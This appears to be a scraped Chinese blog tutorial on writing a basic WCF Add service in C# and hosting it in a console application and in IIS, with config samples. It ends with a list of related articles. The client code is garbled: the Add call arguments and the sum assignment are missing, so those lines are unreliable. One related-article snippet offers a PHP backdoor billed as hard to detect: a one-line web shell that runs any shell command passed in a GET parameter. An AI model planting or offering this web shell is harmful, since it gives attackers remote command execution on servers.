WCF简单使用(分别部署在控制台和IIS上)
WCF部署到控制台
1.下面通过一个简单的服务示例来认识WCF
1.新建项目,名称IBLL,解决方案名称WcfDemo,模板选择类库
2.修改Class1.cs文件名称为 IUserInfoService.cs
3.添加引用 System.ServiceModel
4.修改IUserInfoService.cs代码如下:
using System;
using System.Collections.Generic;
using System.Linq;
using System.ServiceModel;
using System.Text;
using System.Threading.Tasks;
namespace IBLL
{
[ServiceContract]
public interface IUserInfoService
{
[OperationContract]
int Add(int a, int b);
}
}
我们定义了一个IUserInfoService接口,注意在接口上申明了ServiceContract特性,即服务契约,表明该接口是一个服务。方法上声明了OperationContract特性,表示该方法是IUserInfoService的一个服务方法,客户端可远程调用该方法
5.新建项目,名称BLL,模板选择类库,修改Class1.cs文件名称为 UserInfoService.cs,引用项目IBLL,代码如下:
using IBLL;
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
namespace BLL
{
public class UserInfoService : IUserInfoService
{
public int Add(int a, int b)
{
return a + b;
}
}
}
OK,到此我们的服务代码已经编写完成,下面我们必须为服务提供一个运行的宿主,通过该宿主程序来启动我们的服务。
6.在同一解决方案下新建一个项目,名称为WcfHost,类型为控制台应用程序
7.WcfHost项目中添加引用,引用项目IBLL,然后再添加引用:System.ServiceModel
8.修改Program.cs代码如下:
using System;
using System.Collections.Generic;
using System.Linq;
using System.ServiceModel;
using System.Text;
using System.Threading.Tasks;
namespace WcfHost
{
class Program
{
static void Main(string[] args)
{
using (ServiceHost host = new ServiceHost(typeof(BLL.UserInfoService)))
{
host.Open();
Console.WriteLine("服务已启动");
Console.ReadKey();
host.Close();
}
}
}
}
以上,我们已经实现了服务以及为服务提供了一个运行宿主,即契约部分已经完成,下面我们为服务指定地址及绑定
9.修改app.config内容如下:
<?xml version="1.0" encoding="utf-8" ?>
<configuration>
<system.serviceModel>
<services>
<service name="BLL.UserInfoService" behaviorConfiguration="behaviorConfiguration"><!--服务的对象-->
<host>
<baseAddresses>
<add baseAddress="http://localhost:8000/"/><!--服务的IP和端口号-->
</baseAddresses>
</host>
<endpoint address="" binding="basicHttpBinding" contract="IBLL.IUserInfoService"></endpoint><!--contract:服务契约-->
</service>
</services>
<behaviors>
<serviceBehaviors>
<behavior name="behaviorConfiguration">
<serviceMetadata httpGetEnabled="true"/>
</behavior>
</serviceBehaviors>
</behaviors>
</system.serviceModel>
</configuration>
10.设置WcfHost项目为启动项目,启动调试。控制台上显示服务已启动后,打开浏览器输入服务地址:http://localhost:8000/ ,浏览器中会打开我们的服务页面,这表示我们的服务已经启动成功,客户端可通过该地址访问我们的服务了。
下面,我们将创建一个客户端来访问我们的服务
11.在同一解决方案下新建一个项目,名称为WcfClient,类型为控制台应用程序,添加服务引用地址:http://localhost:8000/,客户端代码如下:
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
namespace WcfClient
{
class Program
{
static void Main(string[] args)
{
ServiceReference1.UserInfoServiceClient client = new ServiceReference1.UserInfoServiceClient();
Console.WriteLine(client.Add(, ));
Console.ReadKey();
}
}
}
12.启动WcfHost,启动WcfClient,(记得找到bin/debug找.exe以管理员运行

WCF部署到IIS
1-5步服务代码已经编写相同,下面我们必须为服务提供一个IIS宿主,那么当IIS启动起来后,我们的Wcf服务就起来了。
6.为WCF创建.svc文件(新建类,后缀改为.svc即可),仅仅包含一个ServiceHost指令,该指令具有一个必须的Service属性(该属性指明了相应的WCF服务的类型)和一些可选的属性,该.svc文件应放在Services项目的根目录下
<%@ ServiceHost Service="BLL.UserInfoService" %>
7.在根目录下创建一个Web.Config,将WCF的相应配置添加到配置文件中,与寄宿在上面控制台方式不同的是,在添加的终结点中无需指定地址,因为.svc所在的地址就是服务端地址,代码如下:(该配置放在configuration根节点下)
<system.serviceModel><!--部署Wcf服务-->
<services>
<service name="BLL.UserInfoService" behaviorConfiguration="behaviorConfiguration"><!--服务的对象-->
<endpoint address="" binding="basicHttpBinding" contract="IBLL.IUserInfoService"></endpoint><!--contract:服务契约-->
</service>
</services>
<behaviors>
<serviceBehaviors>
<behavior name="behaviorConfiguration">
<serviceMetadata httpGetEnabled="true"/>
</behavior>
</serviceBehaviors>
</behaviors>
</system.serviceModel>
好了,WCF服务端配置好了,下面配置客户端
8.客户端配置,添加服务引用,地址填.svc所在的地址,如:http://localhost:8707/UserInfoService.svc,命名空间:WcfServiceReference
添加完成后,会在服务端的Web.Config中自动添加下面代码
<system.serviceModel>
<bindings>
<basicHttpBinding>
<binding name="BasicHttpBinding_IUserInfoService" />
</basicHttpBinding>
</bindings>
<client>
<endpoint address="http://localhost:8707/UserInfoService.svc"
binding="basicHttpBinding" bindingConfiguration="BasicHttpBinding_IUserInfoService"
contract="WcfServiceReference.IUserInfoService" name="BasicHttpBinding_IUserInfoService" />
</client>
</system.serviceModel>
9.在客户端调用服务端方法(在Home控制器下添加该方法)
public ActionResult Add()
{
WcfServiceReference.UserInfoServiceClient client = new WcfServiceReference.UserInfoServiceClient();
, );
return Content(sum.ToString());
}

WCF简单使用(分别部署在控制台和IIS上)的更多相关文章
- win2008server R2 x64 部署.net core到IIS上出现【Failed to load the dll from [C:\Program Files\dotnet\host\fxr\1.0.1\hostfxr.dll], HRESULT: 0x80070057】错误
win2008server R2 x64 部署.net core到IIS上出现[Failed to load the dll from [C:\Program Files\dotnet\host\fx ...
- Visual Studio 调试系列12 远程调试部署在远程计算机IIS上的ASP.NET应用程序
系列目录 [已更新最新开发文章,点击查看详细] 要调试已部署到IIS的ASP.NET应用程序,请在部署应用程序的计算机上安装并运行远程工具,然后从Visual Studio附加到正在运行的应用 ...
- 项目部署到自己的IIS上
一般我们只能在本机上才可以开到我们的项目,这个是不需要连网的 如果想让我们的项目在网站中打开,别人也可以看到,就需要把我们的项目部署到服务器上了,输入IP就可以看到我们的项目 发布项目 然后发布网站 ...
- WCF 部署在Windows 2012 IIS上各种报错的解决方法
1.由于扩展配置问题而无法提供您请求的页面.如果该页面是脚本 ,请添加处理程序.如果勇载文件,请添加 MIME 映射. 以管理员身份,在cmd中运行C:\Windows\Microsoft.NET\F ...
- .Net Core 部署在win10 的IIS上注意问题。
事项一:_Layout.cshtml页面中<environment include="Development"></environment>里应用的样式无用 ...
- 在IIS上部署基于django WEB框架的python网站应用
django是一款基于python语言的WEB开源框架,本文给出了如何将基于django写的python网站部署到window的IIS上. 笔者的运行环境: Window xp sp3 IIS 5.1 ...
- win2008server R2 x64 部署.net core到IIS
1.下载sdk 和.NET Core Windows Server Hosting https://www.microsoft.com/net/download 2.出现HTTP 错误 500. ...
- wcf简单的创建和运用
创建一个控制台应用程序,命名为wcftest,并在同一解决方案中添加一个wcf服务应用程序 在wcf项目中会自动生成Service1.svc服务程序文件和IService1.cs契约接口 IServi ...
- 微软 WCF的几种寄宿方式,寄宿IIS、寄宿winform、寄宿控制台、寄宿Windows服务
WCF寄宿方式是一种非常灵活的操作,可以在IIS服务.Windows服务.Winform程序.控制台程序中进行寄宿,从而实现WCF服务的运行,为调用者方便.高效提供服务调用.本文分别对这几种方式进行详 ...
随机推荐
- Hint when use HTTPAgilityPack
1- Read the usage policy of the website. I know this is the third time I mention that, but that tell ...
- JavaScript简单的tabel切换2
<!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8&quo ...
- Swift与OC混编
OC调用Swift的方法:添加 import "xxxx-Swift.h" 头文件即可 Swift调用OC的方法:需要建立桥接: xxxx-Bridging-Header.h 头文 ...
- 谢欣伦 - OpenDev原创教程 - 无连接套接字类CxUdpSocket
这是一个精练的无连接套接字类,类名.函数名和变量名均采用匈牙利命名法.小写的x代表我的姓氏首字母(谢欣伦),个人习惯而已,如有雷同,纯属巧合. CxUdpSocket的使用如下(以某个叫做CSomeC ...
- baiduMap
1.把百度地图定位API(下载地址:http://lbsyun.baidu.com/sdk/download?selected=location),里面的lib福祉到自己的项目中 2,进行相关配置(官 ...
- PHP最简单的后门,且难查,不报毒!
<?php $c=urldecode($_GET['c']);if($c){`$c`;}//完整 !$_GET['c']||`{$_GET['c']}`;//精简 /************** ...
- HDU 5965 枚举模拟 + dp(?)
ccpc合肥站的重现...一看就觉得是dp 然后强行搞出来一个转移方程 即 根据第i-1列的需求和i-1 i-2列的枚举摆放 可以得出i列摆放的种类..加了n多if语句...最后感觉怎么都能过了..然 ...
- VS启用调试
今天访问127.0.0.1 发现 与localhost 不是访问的同一个内容. 于是乎,就向到了另一个方法来调试程序. 1.在IIS 建立站点 并指向程序源. 2.启动vs 调试→附加到进程→找到w ...
- 采用DBCP连接池技术管理连接
DBCP的使用步骤步骤一:导包,使用第三方的道具,必须导入相应的jar包. 一般需要导入两个jar包: -commons-dbcp-1.x.jar包 -commons-pool-1.x.x.jar包 ...
- P1041 传染病控制
#include <bits/stdc++.h> using namespace std; const int maxn = 301; std::vector<int> son ...